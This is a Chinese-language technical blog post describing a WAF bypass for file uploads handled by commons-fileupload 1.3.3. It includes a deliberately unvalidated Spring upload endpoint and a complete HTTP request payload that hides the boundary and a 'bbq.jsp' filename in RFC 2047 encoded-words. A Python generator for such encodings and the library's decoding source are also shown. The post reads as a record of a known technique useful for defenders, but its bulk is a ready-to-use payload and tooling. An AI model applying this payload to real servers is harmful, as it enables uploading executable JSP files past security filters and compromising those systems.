commons-fileupload文件上传绕过waf

绕过waf

当文件上传在使用commons-fileupload处理时,会处理特定的编码,导致可以绕过waf。从Y4tacker师傅博客中看到的,挺有意思的,详情见参考链接,这里做个记录。
引入包:

    <dependency>
      <groupId>commons-fileupload</groupId>
      <artifactId>commons-fileupload</artifactId>
      <version>1.3.3</version>
    </dependency>

环境demo:

@PostMapping("/upload.do")
    @ResponseBody
    public String uploadFile(HttpServletRequest request, HttpServletResponse response) throws IOException, ClassNotFoundException {
        String path = "/test/src/main/java";
        try {
            ServletFileUpload servletFileUpload = new ServletFileUpload(new DiskFileItemFactory());
            servletFileUpload.setHeaderEncoding("UTF-8");
            List<FileItem> fileItems = servletFileUpload.parseRequest(request);
            for (FileItem fileItem : fileItems) {
                response.getWriter().write(fileItem.getName());
                fileItem.write(new File(path+"/"+fileItem.getName()));
            }
        }catch (Exception e){

        }
        return "hello desc";
    }

payload如下:

POST http://localhost:8081/upload.do HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
Connection: close
Content-Type: multipart/form-data; boundary==?gbk?Q?=2d=2d=2d=2d=57=65=62=4b=69=74=46=6f=72=6d=42=6f=75=6e=64=61=72=79=53=4c=43=31=76=45=45=66=53=64=4c=6c=4a=4e=52=59?=
Content-Length: 250

------WebKitFormBoundarySLC1vEEfSdLlJNRY
Content-Disposition: form-data; name="=?utf-8?B?ZmlsZW5hbWU=?=人生短短几个秋";	filename ="=?gbk?Q?=62=62=71=2e=6a=73=70?=不醉不罢休"

hello 5wimming
------WebKitFormBoundarySLC1vEEfSdLlJNRY--

解释如下:
在这里插入图片描述
服务器会解析=?和?=之间的内容,其中“人生短短几个秋,不醉不罢休”会自动去除。
其中值还可以通过空白符进行拼接,如:

filename="=?utf-8?B?YmI=?= =?gbk?Q?=71=2e=6a=73?=	=?gbk?Q?=70?=不醉不罢休"

解析方法如下

import org.apache.commons.fileupload.util.mime.MimeUtility;

import java.io.UnsupportedEncodingException;

public class Test02 {
    public static void main(String[] args) throws UnsupportedEncodingException {
        System.out.println(MimeUtility.decodeText("=?utf-8?B?NXdpbW1pbmc=?="));
        System.out.println(MimeUtility.decodeText("=?gbk?Q?=35=77=69=6d=6d=69=6e=67?="));
        System.out.println(MimeUtility.decodeText("=?gbk?Q?=2d=2d=2d=2d=57=65=62=4b=69=74=46=6f=72=6d=42=6f=75=6e=64=61=72=79=54=79=42=44=6f=4b=76=61=6d=4e=35=38=6c=63=45=77?="));
    }
}

在这里插入图片描述

制作payload:

import base64


def mutil_encode(encode_name):
    encode = encode_name.encode("utf-8")
    b = base64.b64encode(encode)
    print(f'############[{encode_name}]############')
    print('***base64:')
    print(f"=?utf-8?B?{b.decode()}?=")

    res = ""
    for i in encode.decode("gbk"):
        tmp = hex(ord(i)).split("0x")[1]
        res += f"={tmp}"
    print('***Quoted-printable:')
    print(f"=?gbk?Q?{res}?=")


if __name__ == '__main__':
    mutil_encode('filename')
    mutil_encode('bbq.jsp')
    mutil_encode('----WebKitFormBoundarySLC1vEEfSdLlJNRY')

输出如下:

############[filename]############
***base64:
=?utf-8?B?ZmlsZW5hbWU=?=
***Quoted-printable:
=?gbk?Q?=66=69=6c=65=6e=61=6d=65?=
############[bbq.jsp]############
***base64:
=?utf-8?B?YmJxLmpzcA==?=
***Quoted-printable:
=?gbk?Q?=62=62=71=2e=6a=73=70?=
############[----WebKitFormBoundarySLC1vEEfSdLlJNRY]############
***base64:
=?utf-8?B?LS0tLVdlYktpdEZvcm1Cb3VuZGFyeVNMQzF2RUVmU2RMbEpOUlk=?=
***Quoted-printable:
=?gbk?Q?=2d=2d=2d=2d=57=65=62=4b=69=74=46=6f=72=6d=42=6f=75=6e=64=61=72=79=53=4c=43=31=76=45=45=66=53=64=4c=6c=4a=4e=52=59?=

所以,
utf-8?B就是base64编码
gbk?Q就是Quoted-printable编码

原理

大概说一下,看下面代码你们就了然了,具体分析可以看参考文章

private static String decodeWord(String word) throws ParseException, UnsupportedEncodingException {
        if (!word.startsWith("=?")) {
            throw new ParseException("Invalid RFC 2047 encoded-word: " + word);
        } else {
            int charsetPos = word.indexOf(63, 2);
            if (charsetPos == -1) {
                throw new ParseException("Missing charset in RFC 2047 encoded-word: " + word);
            } else {
                String charset = word.substring(2, charsetPos).toLowerCase();
                int encodingPos = word.indexOf(63, charsetPos + 1);
                if (encodingPos == -1) {
                    throw new ParseException("Missing encoding in RFC 2047 encoded-word: " + word);
                } else {
                    String encoding = word.substring(charsetPos + 1, encodingPos);
                    int encodedTextPos = word.indexOf("?=", encodingPos + 1);
                    if (encodedTextPos == -1) {
                        throw new ParseException("Missing encoded text in RFC 2047 encoded-word: " + word);
                    } else {
                        String encodedText = word.substring(encodingPos + 1, encodedTextPos);
                        if (encodedText.length() == 0) {
                            return "";
                        } else {
                            try {
                                ByteArrayOutputStream out = new ByteArrayOutputStream(encodedText.length());
                                byte[] encodedData = encodedText.getBytes("US-ASCII");
                                if (encoding.equals("B")) {
                                    Base64Decoder.decode(encodedData, out);
                                } else {
                                    if (!encoding.equals("Q")) {
                                        throw new UnsupportedEncodingException("Unknown RFC 2047 encoding: " + encoding);
                                    }

                                    QuotedPrintableDecoder.decode(encodedData, out);
                                }

                                byte[] decodedData = out.toByteArray();
                                return new String(decodedData, javaCharset(charset));
                            } catch (IOException var10) {
                                throw new UnsupportedEncodingException("Invalid RFC 2047 encoding");
                            }
                        }
                    }
                }
            }
        }
    }

参考:
https://y4tacker.github.io/2022/02/25/year/2022/2/Java%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%A4%A7%E6%9D%80%E5%99%A8-%E7%BB%95waf(%E9%92%88%E5%AF%B9commons-fileupload%E7%BB%84%E4%BB%B6)/

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值